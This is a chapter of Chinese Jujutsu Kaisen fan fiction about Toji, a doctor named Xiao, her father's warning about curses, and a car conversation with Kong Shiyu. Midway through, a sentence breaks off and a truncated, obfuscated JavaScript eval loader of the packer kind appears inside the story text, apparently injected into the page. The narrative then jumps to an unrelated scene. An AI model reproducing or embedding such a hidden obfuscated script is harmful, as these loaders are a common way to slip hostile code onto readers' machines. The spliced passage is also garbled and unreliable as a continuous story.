中年男子不动声色地看了眼地上的血滩,“甚尔君,对于你来说,这样的事情恐怕已经不是第一次了吧。” “那又怎样?”甚尔面露不耐。 “你觉得如果晓睁开眼看到现在的场面,她会怎么想?” 甚尔面色一僵,突然有种不好的预感。 “你到底是谁?” 谦和温和一笑。 “我是晓的父亲。” “我想……我们需要谈谈。” 19.踌躇 晓睁开眼的时候,发现自己正躺在家中的房间里。 我什么时候回家的?晓只觉得回忆里一片漆黑,好像有人曾在她耳边说话,但是她怎么都想不起来。 大脑一片浑浊,晓盯着天花板发了会儿呆,门口便传来开门声。 “醒了吗?”谦和探出个头。 晓侧头看见谦和,眼神清明了些,“爸爸。” 谦和推门走进来,拉过床头的椅子坐下,“还头晕吗?你突然在路边低血糖晕倒了。放心吧,爸爸帮你在医院请了假,今天就好好休息一下。” “低血糖?”晓缓缓从床上坐起来,晃了晃脑袋,迷糊道,“可是我不是才刚吃午饭吗……” 谦和卡了壳,不过他很快反应过来,若无其事地道:“那可能是你最近太忙了吧……你看,你又要工作,又要约会的……” “对了!”晓闻言一惊,彻底清醒了,“我刚刚好像听到甚尔的声音了。” 不只是甚尔,还有其他人…… “我知道。”谦和安抚地拍了拍晓的肩膀,“是他送你回来的。” “啊,这样啊……”晓愣了一下,放心地重新躺了回去。 她也不知道在放心什么,但是内心里总有种劫后余生的感觉。 谦和帮晓拉了拉被子,“晓,爸爸跟你说个事吧。” “什么?”晓扭头看向谦和认真的面庞,好像察觉到了什么,刚沉下去的不安又冒了出来。 谦和望着女儿茫然的双眼,不由叹了口气。 “甚尔君的事情,我们放弃了吧。好不好?” - 一个星期后,东京某处。 “轰隆”一声巨响打破了夜晚的宁静,整整一条街的围墙轰然倒塌,一道身影从浓烟里冲出,速度快得惊人,眨眼就追上了藏匿于黑暗之中的咒灵。 咒灵四肢形状奇特,宛如镰刀,挥舞间在空气中荡起阵阵涟漪,形成频率诡异的波纹,所过之处一片狼藉。 甚尔收刀跳远,与咒灵拉开距离,抬手从攀爬在肩膀上的蚕宝宝嘴里抓出一道长长的铁链,在空中挥舞两圈,波纹顿时被扰乱,随即他按下暗扣,用力一甩,铁链竟是突然伸长到了它外表难以企及的长度,精准地将咒灵一把缠住。 “抓住了。”甚尔抬手将铁链末端在手掌上绕了两圈,随手一用力,咒灵上门! 委托结束,孔时雨的烟还没抽完。 “链子好用吗?”眼见着甚尔坐上副驾驶,他得意问道。 “还行。”甚尔单手托腮,不置可否。 孔时雨多看了甚尔一眼。 “你最近怎么不去找你的小医生了?”把烟熄灭,孔时雨挂档开车,“跟魂儿丢了似的。” 不,应该不叫丢魂。孔时雨想了想。 应该叫诈尸失败。 “别多管闲事。”甚尔冷淡道,“开你的车。” “我这是闲事吗?最近你的委托量比以往都多,可不就是因为那个小医生?我这可是为了自己的钱包。” 甚尔不想搭理他。 “真不谈了啊?”孔时雨略有些惊讶,“我还以为你这样的人,动起心来十头牛都拉不回来呢。” 甚尔:“你从哪里得来的结论?” “呵。”孔时雨冷哼一声,“别忘了,我和你之间,我才是搞情报的。” 平时总是一副懒得搭理人的模样,现在衣着也收拾了,耳坠也买了,赚钱也起劲了……不是搞情报的也知道这人身上发生了什么吧。 “而且牛郎游戏你也不玩了。”孔时雨意味深长道,“你没察觉到吗?你跟夏烧医生在一起的时候,总是专挑些故意惹人烦的词儿闹她……大牌牛郎先生,你的专业技巧这回儿只有小学生扯女同学头发的级别了,有什么感想?” 甚尔没什么感想,但他觉得自己现在应该下车买个胶带。 熟悉的死亡视线从一旁射来,孔时雨立马封上嘴。 不说了行吧。 轿车里迅速安静了下来,车辆行驶的嘈杂声隔着窗户传进车内,仿佛淅淅沥沥的雨声,平白生出了几分冰凉的氛围。 无神地盯着前挡风玻璃外的风景,甚尔抬起手指,无意识地在扶手边上敲打,半晌后,手指敲击的声音越来越大,直到“咔哧”一声。 甚尔:“……” 孔时雨冷漠:“你赔。” 坚硬的门框扶手边,一个拇指大的小坑赫然在目。 甚尔啧了一声,换了个坐姿。 「甚尔君,你是天生无咒之人,若你造了孽,无处可去的诅咒,只会降临在你身边人的身上。」 谦和的声音在他的大脑中回响。 造孽?甚尔回想了好几次自己造了什么孽,但无一例外,都一无所获。 他太过于无所谓,以至于连自己有没有造过孽都不记得了。 “喂,孔时雨。”甚尔突然出声道,“我杀过人吗?” “啊?”孔时雨莫名其妙地挑了挑眉,“这不是应该问你自己吗?” “不记得了才要问你啊。” “你这家伙……” 孔时雨无语地叹了口气,任劳任怨地开始回忆。 “死了的倒是没有……”孔时雨语气平淡道,好像只是在聊天气,“但是缺胳膊少腿的倒是不少。” 因为觉得跟人类周旋很麻烦——虽然委托费相比而言要低一些——甚尔接的委托大多都是与咒灵直接相关的,只不过在诅咒师圈这个野生的竞技场上,抢夺猎物并不是什么稀奇的事情,偶尔遇上没事来送死的,甚尔也没想过要留情。 “我竟然没杀过人?”他自己都惊了,“他们能活下来?” “你刚开始入行的时候很讨厌跟人接触,你忘了吗?”孔时雨无奈了,“基本是乱打,那些人又不是吃素的,长了记性,后面也没人来骚扰你了。” 甚尔:“那这算是造孽了吗?” 孔时雨一愣,然后笑出了声,“禅院,我们的雇主哪一个干净的?” 而助纣为虐的他们,怎么可能还能独善其身? 甚尔沉默了。 说到这里,孔时雨回过味来了,“你在担心诅咒?禅院,你可半分诅咒都产生不出来。” “我没办法诅咒别人,但想要诅咒我的人,可多了去了。”甚尔淡淡道。 知道他名号的人,都不会想要惹上麻烦,但这个世界上从来不缺少愚昧无知之辈。 而等到他回头去的时候,一切可能都已经晚了。 少女带着笑意的碧绿色眼眸忽然在眼前闪烁。 甚尔呼了口气,“算了。” 总归不过是个活法而已。 孔时雨默默扭头看了甚尔一眼,驱车在路边停下。 甚尔奇怪,“怎么?” “一下子被你吓到了,停车缓一缓。” 甚尔:“……” 孔时雨打开窗户,掏出烟来点上,甚尔见他这样也不再理他,自顾自地望向窗外,不知道在想些什么。 浓烟在肺里翻滚一周,又在窗外的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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宛如被五雷轰顶,甚尔只觉得脑海中有什么好像炸开了一样,整个人都仿佛过了电,头皮发麻。 他可以做到吗? 此时此刻,又是一盘赌局摆在他面前,赢了,就能获得整个新世界,输了的话…… 赌,还是不赌? 下车前,甚尔回头,“你为什么要跟我说这些?” 孔时雨只摆摆手,又点起了一根烟。 “只是想让以后阎王爷能帮我多消消账……好了,快滚吧。” 孔时雨望着甚尔的身影消失在远处,不知怎么,突然摇了摇头,似乎这个动作也没有什么意义,下一秒他就若无其事地扭头挂挡,驱车离开了。 也不知道是不是因为天意,不过是回程路上随意的一停,距离晓工作的医院竟然不远。 甚尔记得,这个时候的晓,应该有夜班。 没有跟门卫浪费时间的耐心,甚尔直接转到了晓的办公室后的花园,抬头果然见五楼角落的房间里还亮着灯。 他轻轻一跃,沿着楼房壁外的凸起和管道,轻盈地跳上了五楼的窗台,正打算从外头掰开窗户,里头却传来声音。 熟悉的背影站立在桌边,耳垂空荡荡,而一名带着金丝眼镜的男医生正站在她面前,垂头看不清表情。 两人之间的距离已看不见缝隙。 甚尔手下一紧,玻璃破碎的声音吓得房间里的人同时一震。 “晓。”甚尔的声音里仿佛掺着冰刀。 “他是谁?”